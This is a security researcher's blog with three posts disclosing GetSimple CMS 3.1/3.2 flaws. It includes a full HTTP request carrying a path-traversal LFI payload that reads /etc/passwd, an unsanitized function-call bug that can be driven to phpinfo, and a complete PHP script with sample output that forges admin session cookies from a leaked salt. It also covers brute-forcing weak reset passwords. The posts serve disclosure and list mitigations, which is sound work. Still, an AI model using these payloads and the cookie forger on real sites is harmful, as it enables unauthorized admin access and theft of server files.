Exploits and such

Exploits and such

The place for any exploits I find / develop and any security related musings…

GetSimple CMS 3.2 LFI exploit


GetSimple CMS 3.1 information disclosure vulnerability


GetSimple CMS password authentication bypass


GetSimple CMS 3.2 LFI exploit

Following on my series of GetSimple CMS articles this one details a LFI (Local file inclusion) vulnerability which is present in current and current beta versions – 3.2beta.

As per the previous article this requires you to be logged in as a valid user.

The code at fault is in the settings.php page and is the language parameter, I have listed the section below:

if(isset($_POST[‘lang’])) {
$LANG = $_POST[‘lang’];

Then its used here
include(GSLANGPATH.$LANG.’.php’);

So for example if you post the following request, you will get the /etc/passwd file which given these days they contain no passwords is probably the least of your worries, more likely an attacker would be after other files with credentials in.

POST /admin/settings.php HTTP/1.1
Host: getsimplecmshost
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Referer: http://getsimplecmshost/admin/settings.php
Cookie: validcookie
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 315

nonce=validnonce&sitename=GetSimpleCMSSite&siteurl=http%3A%2F%2Fgetsimplehost%2F&permalink=&user=admin&email=admin@domainname&timezone=Europe%2FLondon&lang=../../../../../../../../etc/passwd%00&show_htmleditor=1&sitepwd=&sitepwd_confirm=&submitted=Save+Settings

As I’ve mentioned in previous articles whilst this requires a valid user, its not acceptable that even an authenticated user can read files off the local file system – especially in the case of hosted systems.

In extreme circumstances this LFI can also lead to complete server compromise using a technique where php code is injected into files which are readable by the web process and subsequently included in the above request and executed.

Again simple user input validation would completely reduce this attack.

GetSimple CMS 3.1 information disclosure vulnerability

Further to my recent article on the GetSimple CMS cookie weakness, I have continued to look through the application and found another vulnerability.

This one isn’t quite as risky as the cookie weakness, but due to the nature of information disclosure vulnerabilities it is still a problem and something that could well contribute to other issues, especially if you are on a shared hosted platform.

The vulnerable code can only be exploited by a logged in user (although if you used the previous exploit to generate your own cookie thats not a problem) and I dont buy that just because you are logged in security issues aren’t important because on a shared system, even the compromise from a logged in user can expose other users data which obviously is a problem and not acceptable.

The vulnerable page is loadtab.php

and the vulnerable code is below:

<?php
if ($plugin_id == @$_GET[‘item’]) {
call_user_func_array($plugin_info[$plugin_id][‘load_data’],array());
} else if (isset($_GET[‘item’])) {
call_user_func_array($_GET[‘item’],array());
}
?>

You can see that the variable item retrieved from the get URL is passed directly without sanitization to the call_user_func_array call. Provided you are logged in and satisfy the other constraints of that page, i.e also passing the id parameter whatever you passed as item will be directly evaluated, and in the case of phpinfo, the whole contents returned to you, exposing a number of sensitive fields you would not wish an attacker to know.

The fix for this is really one for the GetSimple devs, but the user input should be sanitized and not ever passed directly to a function.

GetSimple CMS password authentication bypass

GetSimple is a simple to use and install CMS system running on PHP.

It has no backend database which makes it especially appealing to those who do not need or want to setup a load of sql servers and the associated maintainance thereof.

The way GetSimple works is through xml files which contain the various components of the system, user files, content etc.. etc..

There is a problem however with the method used to check and authenticate a user if the GetSimple system has been installed with default values and security guidance has NOT been followed – which lets face it if you are using GetSimple, the chances are you dont want to or dont have the time to trawl through all the “hardening” options. (Its a pity its not secure by default)

A number of situations are required in order to exploit this system.

1) You need to know the or an admin username (default admin)

2) You need to know the version of the GetSimple install (relatively trivial to find or even use trial and error)

3) You need to be able to read the file http://site.com/data/other/authorization.xml which contains the key entry for the api key which is also used by default as the salt for the authentication cookie mechanism. By default the .htaccess file that comes with the GetSimple install does not protect this, and as it is an xml file, most web servers will happily serve this up to you.

Let me talk you through whats going on in the cookie generation process which is called when you successfully authenticate and subsequently sets a cookie for you to get access to the site as the admin user you logged in as.

Its handled by the file admin/inc/cookie_functions.php

and the function we are interested in is called create_cookie – here it is below:

 

function create_cookie() {
global $USR,$SALT,$cookie_time,$cookie_name;
$saltUSR = $USR.$SALT;
$saltCOOKIE = sha1($cookie_name.$SALT);
setcookie($saltCOOKIE, sha1($saltUSR), time() + $cookie_time,’/’);
setcookie(‘GS_ADMIN_USERNAME’, $USR, time() + $cookie_time,’/’);
}

 

This function relies on the SALT as the only real security mechanism here, and if (as by default) the SALT is available as the API key, the security falls apart.

The reason is that you can easily generate your own cookies using data you know – example PHP script attached below.

Now its also possible that if the authorization.xml file is accessible then the data/users/username.xml is also accessible however whilst this contains the user details, the password is at least encrypted using sha1 – brute forceable, but time consuming if a half decent password has been used.

In addition if the admin username has been changed, and access to xml files has not been denied, you can try data/other/logs/failedlogins.log for a possible list of usernames.

The following CLI based php code will take input of username, salt and version and generate you all you need to set your own cookie and grant yourself access to the admin portal.

—————————————–

<?php
if ( count($argv) !=4 ) {
echo “\n\n\n\nUsage: GSCookieGen.php [username] [salt] [versionnumber]\n”;
echo “By default salt is in http://site/data/other/authorization.xml\n”;
echo “I’m sure you can find the version number, i.e 3.2.1\n”;
echo “Please try again with the above arguements completed\n\n\n”;
exit();
}
$USR= $argv[1];
$SALT = $argv[2];
$saltUSR = $USR.$SALT;
$cookie_time=’7200′;
$site_full_name = ‘GetSimple’;
$site_version_no = $argv[3];
$name_url_clean = strtolower(str_replace(‘ ‘,’-‘,$site_full_name));
$site_link_back_url = ‘http://get-simple.info/’;
$ver_no_clean = str_replace(‘.’,”,$site_version_no);
$cookie_name = strtolower($name_url_clean) .’_cookie_’. $ver_no_clean;
$saltcookie = sha1($cookie_name.$SALT);
$cookie = sha1($saltUSR);
echo “\n—————————-\n\nUse the following in your http request for authentication bypass\n”;
echo “Set-Cookie: “.$saltcookie.”=”.$cookie.”\n”;
echo “Set-Cookie: GS_ADMIN_USERNAME=”.$USR.”\n\n\n—————————-\n\n\n”;
?>

——————————————-

For example :

[root@server ~]# php GSCookieGen.php admin 734cd83a6592476c1a03bb 3.2.1

—————————-

Use the following in your http request for authentication bypass
Set-Cookie: 3eb2c68be8222c2de0dc6940a952db13a83241c0=87338710ddd1c098b314542099322e31f45f9be7
Set-Cookie: GS_ADMIN_USERNAME=admin
—————————-

 

As far as I am aware versions up to current 3.2 are vulnerable to this weakness – which I will highlight is more of a weakness in securing your filesystem and key files than the GetSimpleCMS itself, however its my opinion that the install instructions and default settings are not secure enough for a starting point.

 

There is another weakness in the GetSimpleCMS which if you were NOT able to get access to the SALT (by default the api key) BUT were able to get access to the xml files in the data/users directory would mean you could bruteforce a reset password in minutes.

The weakness is in the password reset routine which anyone can use for any user.

The problem is in the function used to generate a new password:

function createRandomPassword() {
$chars = “Ayz23mFGHBxPQefgnopRScdqrTU4CXYZabstuDEhijkIJKMNVWvw56789″;
srand((double)microtime()*1000000);
$i = 0;
$pass = ” ;
while ($i <= 5) {
$num = rand() % 33;
$tmp = substr($chars, $num, 1);
$pass = $pass . $tmp;
$i++;
}
return $pass;
}

You can see there that whilst a random password is generated, its not only using a very small subset of possible characters, its only creating a 6 character password – easily brute forceable in 10 or 20 minutes using a standard PC or Laptop.

This is poor, but again does require the sys admin to have left the file system open to exploit.

All of this is relatively easy to secure.

1) restrict access to admin pages from known IP’s

2)restrict direct access to the xml files using .htaccess rules

3)implement the security guidelines given out by GetSimple – change your SALT and default username.

4)update to 3.2beta as I believe some of this is fixed / enhanced in this version

The GetSimpleCMS dev’s are aware of these issues, but im not convinced they are taking them as seriously as perhaps they should be. Its my opinion that given default install the above discussed scenarios are reasonably likely.

One final note is that I am open to be corrected on any of the above 🙂

I have used this against a couple of installs that I know of (with permission from the owners I might add) and have confirmed that the principles discussed above are valid given the right conditions.